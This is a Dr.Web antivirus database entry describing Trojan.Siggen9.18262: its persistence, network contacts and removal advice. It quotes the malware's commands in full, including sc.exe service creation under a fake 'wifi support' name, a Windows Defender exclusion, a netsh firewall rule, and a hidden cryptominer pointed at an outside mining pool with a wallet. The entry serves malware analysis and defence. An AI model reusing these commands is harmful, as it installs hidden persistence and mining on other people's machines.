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Trojan.Siggen9.18262

Added to the Dr.Web virus database: 2020-03-07

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\wyudgqku] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\wyudgqku] 'ImagePath' = '%WINDIR%\SysWOW64\wyudgqku\okcczonb.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\wyudgqku] 'ImagePath' = '%WINDIR%\SysWOW64\wyudgqku\okcczonb.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wyudgqku' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\okcczonb.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\okcczonb.exe to %WINDIR%\syswow64\wyudgqku\okcczonb.exe
Deletes itself.
Network activity
Connects to
  • 'mx#######801.gslb.pphosted.com':25
TCP
HTTP GET requests
  • http://www.google.com/
  • '43.#31.4.7':443
  • 'he###.#atawave.net.au':25
  • 'sm#####.iomartmail.com':25
  • '78.#1.67.23':420
  • '18#.#65.238.150':420
  • '17#.#.114.177':420
  • 'gmail-smtp-in.l.google.com':25
  • 'ms#.#pil.com.tw':25
  • '46.#8.66.2':420
  • 'mx.##zhled.cz':25
  • 'ma##.##rkandfitz.com':25
  • 'mx#.mail.ru':25
  • 'd1######.#ss.barracudanetworks.com':25
  • 'go##le.ru':443
  • '46.#.52.109':420
  • '93.##9.69.109':420
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'ho#########.olc.protection.outlook.com':25
  • '85.##4.134.88':484
  • 'mi####.bittubeapp.com':13333
  • 'aspmx.l.google.com':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'alt1.aspmx.l.google.com':25
  • 'mt##.##0.yahoodns.net':25
  • 'mx#.##ailsrvr.com':25
  • 'ma##.##llow-stone.it':25
  • 'mx.##.#tinternet.com':25
  • 'alt2.aspmx.l.google.com':25
  • 'mx#.##ibaba-inc.com':25
  • 'br#######com.p10.mxthunder.com':25
  • '16#####.mxmail.netease.com':25
  • 'ma##.##tionalrto.com':25
  • 'fr#####.#inamail.sina.com.cn':25
  • 'ma###.#uperdome.com.au':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK gl###ltv.com.au
    • DNS ASK lu####a.ifc.edu.br
    • DNS ASK th####ebreads.com
    • DNS ASK ra###bhandy.com
    • DNS ASK sm####n.virgilio.it
    • DNS ASK vi##ilio.it
    • DNS ASK th####reclan.com
    • DNS ASK ra##ps.com
    • DNS ASK google.com
    • DNS ASK sm#####.iomartmail.com
    • DNS ASK th###iras.com
    • DNS ASK ra#l.dk
    • DNS ASK pr#######tagnt2.bryanlgh.org
    • DNS ASK br###lgh.org
    • DNS ASK mx#######701.gslb.pphosted.com
    • DNS ASK he###.#atawave.net.au
    • DNS ASK gmail-smtp-in.l.google.com
    • DNS ASK gm##l.com
    • DNS ASK th###ines.com
    • DNS ASK ra##co.dk
    • DNS ASK si###ave.com.au
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK ao#.com
    • DNS ASK th###hills.net
    • DNS ASK pr######rastructure.com.au
    • DNS ASK th###ahills.com
    • DNS ASK mx#######601.gslb.pphosted.com
    • DNS ASK qa###s.com.au
    • DNS ASK is#.gov.au
    • DNS ASK lu##nac.com
    • DNS ASK sh###.net.au
    • DNS ASK ra##en.dk
    • DNS ASK th####eman.co.za
    • DNS ASK ra##ens.com
    • DNS ASK mx#.mail.ru
    • DNS ASK sp##evis.be
    • DNS ASK th###labros.com
    • DNS ASK sp###ter.com
    • DNS ASK tu####pcasino.com
    • DNS ASK d1######.#ss.barracudanetworks.com
    • DNS ASK pf#.com.au
    • DNS ASK su####ome.com.au
    • DNS ASK d4#####.##s.barracudanetworks.com
    • DNS ASK sp##.com.tw
    • DNS ASK ms#.#pil.com.tw
    • DNS ASK su###per.com.au
    • DNS ASK mx#######801.gslb.pphosted.com
    • DNS ASK go##le.ru
    • DNS ASK ma#l.ru
    • DNS ASK th###kezone.com
    • DNS ASK mx.##zhled.cz
    • DNS ASK sp###tualy.cz
    • DNS ASK kn###bai.com
    • DNS ASK be##lee.edu
    • DNS ASK in#######relays.illinois.edu
    • DNS ASK ui##.edu
    • DNS ASK fp##.mail.dk
    • DNS ASK ad##home.dk
    • DNS ASK ma##.##rkandfitz.com
    • DNS ASK ba###ndfitz.com
    • DNS ASK ma####.bspg.com.au
    • DNS ASK bs###.com.au
    • DNS ASK th####erybakery.net
    • DNS ASK sm###in.iol.it
    • DNS ASK io#.it
    • DNS ASK th######inepartnership.com
    • DNS ASK si####eephones.com
    • DNS ASK di##.gov.au
    • DNS ASK sm####n.inwind.it
    • DNS ASK mx#######a01.gslb.pphosted.com
    • DNS ASK ua##.edu
    • DNS ASK ma##.##tionalrto.com
    • DNS ASK na###nalrto.com
    • DNS ASK mx#.##ailsrvr.com
    • DNS ASK br###tmini.com
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK ho##ail.com
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK ya##o.com
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK ti##ali.it
    • DNS ASK na###nalrv.com
    • DNS ASK sf##.com
    • DNS ASK ch#.edu
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK alt1.aspmx.l.google.com
    • DNS ASK th#####erselistens.com
    • DNS ASK aspmx.l.google.com
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK br###lemon.com
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK th###ity.org
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK sm####n.libero.it
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK li##ro.it
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK ho###il.co.uk
    • DNS ASK mx#######901.gslb.pphosted.com
    • DNS ASK bt###ernet.com
    • DNS ASK al###ba-inc.com
    • DNS ASK gm#.de
    • DNS ASK mx##.#mig.gmx.net
    • DNS ASK th#####ersityblog.co.uk
    • DNS ASK sp#.#wa.edu.au
    • DNS ASK ma#####t-in1.uwa.edu.au
    • DNS ASK in##nd.it
    • DNS ASK th###ixgeek.com
    • DNS ASK si##.com
    • DNS ASK lu####aber.com.br
    • DNS ASK mx.####.locaweb.com.br
    • DNS ASK ye###w-stone.it
    • DNS ASK ma##.##llow-stone.it
    • DNS ASK lu#####shoteis.com.br
    • DNS ASK mx.#.#ocaweb.com.br
    • DNS ASK mx#.####selschambers.com.au
    • DNS ASK 12####oor.com.au
    • DNS ASK 16#####.mxmail.netease.com
    • DNS ASK 16#.com
    • DNS ASK lu####ida.org.br
    • DNS ASK te######creditunion.com.au
    • DNS ASK mx.#####.#om.cust.b.hostedemail.com
    • DNS ASK ly##s.com
    • DNS ASK mx.###.iprimus.com.au
    • DNS ASK ip###us.com.au
    • DNS ASK lu###istica.com
    • DNS ASK br#######com.p10.mxthunder.com
    • DNS ASK br###lex.com
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK th###iverse.net
    • DNS ASK mx#.##ibaba-inc.com
    • DNS ASK mx.##.#tinternet.com
    • DNS ASK fr#####.#inamail.sina.com.cn
    • DNS ASK ma###.#uperdome.com.au
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\wyudgqku\okcczonb.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wyudgqku\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\okcczonb.exe" %WINDIR%\SysWOW64\wyudgqku\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create wyudgqku binPath= "%WINDIR%\SysWOW64\wyudgqku\okcczonb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description wyudgqku "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start wyudgqku' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wyudgqku\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\okcczonb.exe" %WINDIR%\SysWOW64\wyudgqku\
    • '%WINDIR%\syswow64\sc.exe' create wyudgqku binPath= "%WINDIR%\SysWOW64\wyudgqku\okcczonb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description wyudgqku "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start wyudgqku
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3yF6V9xnLZcVuHhV6W19JR6Ze5F6M26CDujJeY4mkkQ3ZsCiyenVujf2DkwFXaoL3rb8rvtSseFVvTsDPSJt482P4jGtDmN.60000 -p x -k

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

    Find out more about Dr.Web for Android

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